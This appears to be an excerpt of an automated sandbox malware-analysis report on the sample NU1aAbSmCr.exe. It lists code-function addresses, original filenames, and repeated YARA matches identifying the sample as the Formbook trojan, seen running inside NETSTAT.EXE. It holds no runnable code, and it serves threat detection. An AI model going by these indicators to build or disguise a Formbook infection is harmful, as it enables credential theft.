Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0161E8F0	4_2_0161E8F0
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015D68B8	4_2_015D68B8
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_016AAB40	4_2_016AAB40
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_016A6BD7	4_2_016A6BD7
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015EEA80	4_2_015EEA80
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015FAD00	4_2_015FAD00
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0168CD1F	4_2_0168CD1F
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015EADE0	4_2_015EADE0
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_01608DBF	4_2_01608DBF
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015F0C00	4_2_015F0C00
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015E0CF2	4_2_015E0CF2
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_01690CB5	4_2_01690CB5
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_01664F40	4_2_01664F40
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_01632F28	4_2_01632F28
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_01610F30	4_2_01610F30
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_01692F30	4_2_01692F30
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015E2FC8	4_2_015E2FC8
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015FCFE0	4_2_015FCFE0
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0166EFA0	4_2_0166EFA0
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015F0E59	4_2_015F0E59
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_016AEE26	4_2_016AEE26
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_016AEEDB	4_2_016AEEDB
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_01602E90	4_2_01602E90
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_016ACE93	4_2_016ACE93
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_016BB16B	4_2_016BB16B
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0162516C	4_2_0162516C
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015DF172	4_2_015DF172
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015FB1B0	4_2_015FB1B0
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_016A70E9	4_2_016A70E9
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_016AF0E0	4_2_016AF0E0
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015F70C0	4_2_015F70C0
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0169F0CC	4_2_0169F0CC
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015DD34C	4_2_015DD34C
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_016A132D	4_2_016A132D
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0163739A	4_2_0163739A
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_016912ED	4_2_016912ED
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0160B2C0	4_2_0160B2C0
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015F52A0	4_2_015F52A0
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_016A7571	4_2_016A7571
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_016B95C3	4_2_016B95C3
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0168D5B0	4_2_0168D5B0
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015E1460	4_2_015E1460
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_016AF43F	4_2_016AF43F
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_016AF7B0	4_2_016AF7B0
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_01635630	4_2_01635630
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_016A16CC	4_2_016A16CC
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015F9950	4_2_015F9950
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0160B950	4_2_0160B950
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_01685910	4_2_01685910
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0165D800	4_2_0165D800
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015F38E0	4_2_015F38E0
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_016AFB76	4_2_016AFB76
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_01665BF0	4_2_01665BF0
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0162DBF9	4_2_0162DBF9
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0160FB80	4_2_0160FB80
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_01663A6C	4_2_01663A6C
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_016AFA49	4_2_016AFA49
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_016A7A46	4_2_016A7A46
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0169DAC6	4_2_0169DAC6
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_01635AA0	4_2_01635AA0
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0168DAAC	4_2_0168DAAC
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_01691AA3	4_2_01691AA3
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_016A7D73	4_2_016A7D73
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015F3D40	4_2_015F3D40
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_016A1D5A	4_2_016A1D5A
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0160FDC0	4_2_0160FDC0
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_01669C32	4_2_01669C32
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_016AFCF2	4_2_016AFCF2
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_016AFF09	4_2_016AFF09
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015B3FD2	4_2_015B3FD2
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015B3FD5	4_2_015B3FD5
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015F1F92	4_2_015F1F92
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_016AFFB1	4_2_016AFFB1
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015F9EB0	4_2_015F9EB0
Source: C:\Program Files (x86)\ZFyhsaImMGOFEfKEektcPzxHoWTTOspFruWOLxwRgdfvda\mCFHCvdrqdDiDT.exe	Code function: 10_2_02FAC9D1	10_2_02FAC9D1
Source: C:\Program Files (x86)\ZFyhsaImMGOFEfKEektcPzxHoWTTOspFruWOLxwRgdfvda\mCFHCvdrqdDiDT.exe	Code function: 10_2_02FA2B7A	10_2_02FA2B7A
Source: C:\Program Files (x86)\ZFyhsaImMGOFEfKEektcPzxHoWTTOspFruWOLxwRgdfvda\mCFHCvdrqdDiDT.exe	Code function: 10_2_02FB50C2	10_2_02FB50C2
Source: C:\Program Files (x86)\ZFyhsaImMGOFEfKEektcPzxHoWTTOspFruWOLxwRgdfvda\mCFHCvdrqdDiDT.exe	Code function: 10_2_02FAE9A9	10_2_02FAE9A9
Source: C:\Program Files (x86)\ZFyhsaImMGOFEfKEektcPzxHoWTTOspFruWOLxwRgdfvda\mCFHCvdrqdDiDT.exe	Code function: 10_2_02FB5109	10_2_02FB5109
Source: C:\Program Files (x86)\ZFyhsaImMGOFEfKEektcPzxHoWTTOspFruWOLxwRgdfvda\mCFHCvdrqdDiDT.exe	Code function: 10_2_02FAE789	10_2_02FAE789
Source: C:\Program Files (x86)\ZFyhsaImMGOFEfKEektcPzxHoWTTOspFruWOLxwRgdfvda\mCFHCvdrqdDiDT.exe	Code function: 10_2_02FB6F20	10_2_02FB6F20
Source: C:\Program Files (x86)\ZFyhsaImMGOFEfKEektcPzxHoWTTOspFruWOLxwRgdfvda\mCFHCvdrqdDiDT.exe	Code function: 10_2_02FCD579	10_2_02FCD579
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 11_2_0390E3F0	11_2_0390E3F0
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 11_2_039C03E6	11_2_039C03E6
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 11_2_039BA352	11_2_039BA352
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 11_2_039802C0	11_2_039802C0
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 11_2_039A0274	11_2_039A0274
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 11_2_039C01AA	11_2_039C01AA
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 11_2_039B41A2	11_2_039B41A2
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 11_2_039B81CC	11_2_039B81CC
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 11_2_0399A118	11_2_0399A118
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 11_2_038F0100	11_2_038F0100
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 11_2_03988158	11_2_03988158
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 11_2_03992000	11_2_03992000
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 11_2_038FC7C0	11_2_038FC7C0
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 11_2_03924750	11_2_03924750
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 11_2_03900770	11_2_03900770
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 11_2_0391C6E0	11_2_0391C6E0
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 11_2_039C0591	11_2_039C0591
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 11_2_03900535	11_2_03900535
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 11_2_039AE4F6	11_2_039AE4F6
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 11_2_039A4420	11_2_039A4420
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 11_2_039B2446	11_2_039B2446
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 11_2_039B6BD7	11_2_039B6BD7
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 11_2_039BAB40	11_2_039BAB40
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 11_2_038FEA80	11_2_038FEA80
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 11_2_039029A0	11_2_039029A0
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 11_2_039CA9A6	11_2_039CA9A6
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 11_2_03916962	11_2_03916962
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 11_2_038E68B8	11_2_038E68B8
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 11_2_0392E8F0	11_2_0392E8F0
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 11_2_0390A840	11_2_0390A840
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 11_2_03902840	11_2_03902840
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 11_2_0397EFA0	11_2_0397EFA0
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 11_2_038F2FC8	11_2_038F2FC8
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 11_2_0390CFE0	11_2_0390CFE0
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 11_2_03920F30	11_2_03920F30
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 11_2_039A2F30	11_2_039A2F30
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 11_2_03942F28	11_2_03942F28
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 11_2_03974F40	11_2_03974F40
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 11_2_03912E90	11_2_03912E90
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 11_2_039BCE93	11_2_039BCE93
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 11_2_039BEEDB	11_2_039BEEDB
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 11_2_039BEE26	11_2_039BEE26
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 11_2_03900E59	11_2_03900E59
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 11_2_03918DBF	11_2_03918DBF
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 11_2_038FADE0	11_2_038FADE0
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 11_2_0399CD1F	11_2_0399CD1F
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 11_2_0390AD00	11_2_0390AD00
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 11_2_039A0CB5	11_2_039A0CB5
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 11_2_038F0CF2	11_2_038F0CF2
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 11_2_03900C00	11_2_03900C00
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 11_2_0394739A	11_2_0394739A
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 11_2_039B132D	11_2_039B132D
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 11_2_038ED34C	11_2_038ED34C
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 11_2_039052A0	11_2_039052A0
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 11_2_0391B2C0	11_2_0391B2C0
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 11_2_039A12ED	11_2_039A12ED
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 11_2_0390B1B0	11_2_0390B1B0
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 11_2_039CB16B	11_2_039CB16B
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 11_2_038EF172	11_2_038EF172
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 11_2_0393516C	11_2_0393516C
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 11_2_039070C0	11_2_039070C0
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 11_2_039AF0CC	11_2_039AF0CC
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 11_2_039B70E9	11_2_039B70E9
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 11_2_039BF0E0	11_2_039BF0E0
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 11_2_039BF7B0	11_2_039BF7B0
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 11_2_039B16CC	11_2_039B16CC
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 11_2_03945630	11_2_03945630
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 11_2_0399D5B0	11_2_0399D5B0
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 11_2_039C95C3	11_2_039C95C3
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 11_2_039B7571	11_2_039B7571
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 11_2_039BF43F	11_2_039BF43F
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 11_2_038F1460	11_2_038F1460
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 11_2_0391FB80	11_2_0391FB80
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 11_2_03975BF0	11_2_03975BF0
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 11_2_0393DBF9	11_2_0393DBF9
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 11_2_039BFB76	11_2_039BFB76
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 11_2_03945AA0	11_2_03945AA0
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 11_2_0399DAAC	11_2_0399DAAC
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 11_2_039A1AA3	11_2_039A1AA3
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 11_2_039ADAC6	11_2_039ADAC6
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 11_2_039BFA49	11_2_039BFA49
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 11_2_039B7A46	11_2_039B7A46
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 11_2_03973A6C	11_2_03973A6C
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 11_2_03995910	11_2_03995910
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 11_2_03909950	11_2_03909950
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 11_2_0391B950	11_2_0391B950
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 11_2_039038E0	11_2_039038E0
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 11_2_0396D800	11_2_0396D800
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 11_2_03901F92	11_2_03901F92
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 11_2_039BFFB1	11_2_039BFFB1
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 11_2_039BFF09	11_2_039BFF09
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 11_2_03909EB0	11_2_03909EB0
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 11_2_0391FDC0	11_2_0391FDC0
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 11_2_039B1D5A	11_2_039B1D5A
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 11_2_03903D40	11_2_03903D40
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 11_2_039B7D73	11_2_039B7D73
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 11_2_039BFCF2	11_2_039BFCF2
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 11_2_03979C32	11_2_03979C32
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 11_2_03051E10	11_2_03051E10
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 11_2_0304CF50	11_2_0304CF50
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 11_2_0304AFD0	11_2_0304AFD0
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 11_2_0304CD30	11_2_0304CD30
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 11_2_03041121	11_2_03041121
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 11_2_03053669	11_2_03053669
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 11_2_030536B0	11_2_030536B0
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 11_2_030554D0	11_2_030554D0
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 11_2_0306BB20	11_2_0306BB20
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 11_2_0371E3A8	11_2_0371E3A8
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 11_2_03725434	11_2_03725434
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 11_2_0371E4C3	11_2_0371E4C3
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 11_2_0371E85D	11_2_0371E85D
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 11_2_0371D8C8	11_2_0371D8C8

Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: String function: 0397F290 appears 105 times
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: String function: 038EB970 appears 280 times
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: String function: 03947E54 appears 110 times
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: String function: 0396EA12 appears 86 times
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: String function: 03935130 appears 58 times
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: String function: 0165EA12 appears 86 times
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: String function: 0166F290 appears 105 times
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: String function: 015DB970 appears 280 times
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: String function: 01625130 appears 58 times
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: String function: 01637E54 appears 110 times

Source: NU1aAbSmCr.exe, 00000000.00000002.1349600533.0000000000CEE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs NU1aAbSmCr.exe
Source: NU1aAbSmCr.exe, 00000000.00000000.1338330768.00000000006BC000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenametTOn.exeD vs NU1aAbSmCr.exe
Source: NU1aAbSmCr.exe, 00000000.00000002.1373866867.0000000007A30000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameTyrone.dll8 vs NU1aAbSmCr.exe
Source: NU1aAbSmCr.exe, 00000004.00000002.1821360439.0000000001157000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamenetstat.exej% vs NU1aAbSmCr.exe
Source: NU1aAbSmCr.exe, 00000004.00000002.1821551688.00000000016DD000.00000040.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs NU1aAbSmCr.exe
Source: NU1aAbSmCr.exe	Binary or memory string: OriginalFilenametTOn.exeD vs NU1aAbSmCr.exe

Source: NU1aAbSmCr.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 4.2.NU1aAbSmCr.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 4.2.NU1aAbSmCr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000004.00000002.1824100351.0000000003450000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 0000000E.00000002.2583578419.00000000049B0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 0000000B.00000002.2580801626.00000000034E0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 0000000B.00000002.2581282687.0000000003610000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000004.00000002.1821048829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000004.00000002.1822625318.0000000001950000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 0000000B.00000002.2578681040.0000000003040000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 0000000A.00000002.2580938292.0000000002D40000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23

Source: NU1aAbSmCr.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: 0.2.NU1aAbSmCr.exe.7a30000.6.raw.unpack, aAZly5Crsqfj1ghU4r.cs	Security API names: _0020.SetAccessControl
Source: 0.2.NU1aAbSmCr.exe.7a30000.6.raw.unpack, aAZly5Crsqfj1ghU4r.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.NU1aAbSmCr.exe.7a30000.6.raw.unpack, aAZly5Crsqfj1ghU4r.cs	Security API names: _0020.AddAccessRule
